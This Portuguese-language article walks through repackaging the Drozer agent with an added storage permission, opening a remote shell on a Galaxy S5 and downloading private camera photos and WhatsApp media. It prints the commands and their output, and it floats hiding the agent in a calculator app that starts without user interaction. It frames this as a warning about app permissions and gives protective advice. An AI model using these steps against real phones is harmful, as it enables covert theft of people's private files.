Obtendo informações pessoais do seu Android com uma calculadora
Este artigo aborda a exploração de uma falha na permissão de acesso ao cartão de memória de dispositivos Android utilizando o Drozer.
A velocidade de processamento e conectividade dos smartphones aumentou ao longo dos anos de forma considerável. Em razão da praticidade encontrada em um smartphone, nós utilizamos para acessar informações confidenciais, como e-mails e até mesmo realizar transações bancárias.
Da mesma forma que existem falhas de segurança em um computador, um smartphone também pode ser tão vulnerável quanto. Este artigo aborda a exploração de uma falha na permissão de acesso ao cartão de memória de dispositivos Android utilizando o Drozer [1], um framework de análise de vulnerabilidades em Android, com a finalidade de vasculhar o conteúdo armazenado e realizar o download de arquivos, provando assim que é possível extrair informações sensíveis do dispositivo.
A questão em si não é o fato de poder utilizar o aplicativo de uma calculadora para explorar esta vulnerabilidade, mas sim discutir as permissões necessárias para qualquer aplicativo, como uma simples calculadora, realizar o ataque. Possuindo apenas a permissão de acesso total a rede (Internet) e leitura do dispositivo de armazenamento externo (READ_EXTERNAL_STORAGE), um aplicativo qualquer pode permitir uma conexão Shell Linux e realizar a exploração desta vulnerabilidade.
A ferramenta utilizada, Drozer, é um programa cliente-servidor que verifica vulnerabilidades em aplicativos e dispositivos Android. Utilizando apenas a permissão de acesso total a rede, assume o papel de um aplicativo que interage com o sistema possibilitando a obtenção de diversas informações do smartphone e seus aplicativos.
Entretanto, neste artigo, foi realizado uma engenharia reversa no APK do Drozer utilizando a ferramenta APKTool e alterado as permissões do aplicativo, editando o arquivo AndroidManifest.XML e adicionando a permissão android.permission.READ_EXTERNAL_STORAGE, conforme o exemplo a seguir:
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.mwr.dz">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<application android:allowBackup="false" android:debuggable="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme">
Esta alteração possibilita a exploração da vulnerabilidade nas versões Kitkat e Lollipop, este último testado apenas em emulador. Após remontar a aplicação com o arquivo modificado com o APKTool, foi necessário assinar o APK com um certificado digital, utilizando as ferramentas Keytool.exe e Jarsigner.exe, existentes na pasta do Java JDK 7. O primeiro cria um certificado digital, enquanto o segundo é responsável por assinar digitalmente o APK com a chave privada. Sem isto, o aplicativo não consegue ser instalado no Android.
Para as versões anteriores ao Kitkat, apenas a permissão de acesso total a rede é suficiente. Isto ocorre devido a uma alteração do sistema Android na permissão de acesso ao cartão de memória realizada a partir do Kitkat [2], onde não é mais possível a visualização dos arquivos sem declarar a permissão de leitura.
Para a função de cliente foi utilizado o instalador da versão 2.3.3 em um Windows 7 x64 e instalado o Android SDK e o Java JDK como pré-requisito. O uso do Drozer é realizado através do prompt de comando MS-DOS e basta navegar até o diretório que o Drozer foi instalado para utilizá-lo.
A parte servidor corresponde ao agent.apk, aplicativo mobile do Drozer, instalado em um smartphone Galaxy S5 com a versão Kitkat 4.4.2 do Android. Esse aplicativo inicia um servidor embutido no smartphone e fica aguardando que o cliente se conecte na porta 31415 para então estabelecer uma conexão, conforme exibido na Figura 1:

Fonte: Elaborado pelo autor.
Foi ligado apenas o wi-fi do smartphone, verificado seu endereço IP e iniciado o aplicativo do Drozer, enquanto no computador foi executado, no cliente do Drozer, o comando drozer console connect –server 10.0.0.100. Ao invés do IP de rede local, poderia ser utilizado o endereço IP do 3G do smartphone.
Na Figura 2 observa-se que a conexão entre o computador e o smartphone foi realizada com êxito. Na segunda linha é informado o modelo do dispositivo e a versão do Android:

Fonte: Elaborado pelo autor.
Com isso é possível iniciar uma console Shell no smartphone através do cliente com o comando run shell.start, possibilitando a execução de comandos Linux diretamente no smartphone.
Embora não seja possível visualizar todos os diretórios do dispositivo e nem criar arquivos ou scripts, ainda é possível visualizar algumas pastas, como o cartão de memória. Para tal, deve-se executar o comando cd /mnt/extSdCard. Ao executar o comando ls -la, pode-se observar as pastas contidas no cartão de memória, como o diretório onde é armazenado as fotos tiradas pela câmera do dispositivo.
O comando cd /mnt/extSdCard/DCIM/Camera e posteriormente ls, para listar o conteúdo do diretório, foi executado e retornou arquivos de fotos e vídeos capturados pela câmera do smartphone:
dz> run shell.start u0_a261@klte:/data/data/com.mwr.dz $ cd /mnt/extSdCard/DCIM/Camera u0_a261@klte:/mnt/extSdCard/DCIM/Camera $ ls 20141118_102133.jpg 20141120_130035.jpg 20141123_125423.jpg 20141123_143452.jpg 20141123_145215.jpg 20141123_152742.jpg 20150104_042320.jpg 20150104_042328.mp4 20150104_052820.mp4 20150104_060747.jpg 20150104_060759.jpg u0_a261@klte:/mnt/extSdCard/DCIM/Camera $
Uma vez conhecidos os nomes, extensões e caminhos completos dos arquivos no cartão de memória, é possível fazer uma cópia para o computador utilizando o módulo tools.file.download. No caso, será copiado o arquivo 20150104_060747.jpg. O comando utilizado é:
u0_a261@klte:/mnt/extSdCard/DCIM/Camera $ exit dz> run tools.file.download /mnt/extSdCard/DCIM/Camera/20150104_060759.jpg foto. jpg Read 968250 bytes dz>
Como resultado, foi gerado um arquivo chamado foto.jpg no diretório do Drozer e foi possível visualizar a imagem abrindo o arquivo com o visualizador de imagens do Windows, comprovando o sucesso da exploração.
Ainda é possível acessar o cartão de memória interno, que é a memória cujo tamanho é definido na compra do smartphone. No caso do dispositivo utilizado, Galaxy S5, o mesmo possui 16 GB e é acessado pelo diretório /sdcard, onde armazena diversos diretórios de aplicativos instalados, gravações de áudio, downloads do navegador web, entre outros. No caso do diretório /mnt/extSdCard/ se refere ao cartão de memória microSD, que pode ser retirado do dispositivo.
Outro teste realizado foi com o aplicativo WhatsApp, onde é possível visualizar uma pasta com banco de dados e outra relacionado a arquivos de mídia. Contudo, ao visualizar o arquivo do banco de dados, o mesmo encontrava-se no formato .db.crypt. Ao visualizar o conteúdo do arquivo utilizando o editor de texto Notepad++, a informação não era legível, ou seja, o arquivo estava protegido com uma criptografia aplicada pela própria aplicação do WhatsApp. Por outro lado, na pasta mídia, foi possível obter e visualizar as fotos, arquivos e gravações recebidas dos contatos.
Também foram realizados testes apenas com a conexão 3G. Foram utilizados chips de celular das operadoras Claro, Tim e Oi. O cliente Drozer estabeleceu uma conexão com sucesso no smartphone apenas na operadora Tim, enquanto nas outras duas não foi possível sequer realizar o comando PING para o endereço IP do 3G.
Como forma de proteção, recomenda-se não rootear o dispositivo, usar criptografia para proteger os arquivos, não instalar aplicativos que sejam oferecidos através de e-mail, SMS, pop-up, mercado de aplicativos de terceiros, entre outras fontes desconhecidas, sempre verificar as permissões que o aplicativo pede na hora da instalação e dar preferência para aplicativos com boa reputação.
Ainda existem algumas melhorias para serem realizadas, como descobrir uma forma de obter o endereço IP do dispositivo de modo automático, desenvolver uma forma que o agent do Drozer não necessite de interação do usuário para ser iniciado e o integrar com outro aplicativo, por exemplo, uma calculadora.
É importante ressaltar que todo o experimento foi realizado a partir de um aplicativo com apenas a permissão de acesso total a rede e leitura do dispositivo de armazenamento externo. Estas permissões são encontradas em diversas aplicações, nos levando a refletir se aplicativos de grandes empresas, como Facebook, Foursquare, Gmail, dentre outros, não estão coletando nossas informações para uso próprio.
Para mais informações, no meu canal no Youtube fiz uma demonstração da falha abordada neste artigo com mais detalhes, como a utilização via emulador e USB, além do passo a passo da engenharia reversa no APK do Drozer.
Referências:- MWR InfoSecurity. “Drozer Overview”. Disponível em: < https://www.mwrinfosecurity.com/products/drozer/>. Acesso em: 20 nov. 2014.
- Xperia Blog, “Before upgrading to KitKat, be wary of SD card restrictions”. Disponível em: <http://www.xperiablog.net/2014/03/20/before-upgrading-to-kitkat-be-wary-of-sd-card-restrictions/>. Escrito em: 20 mar. 2014.






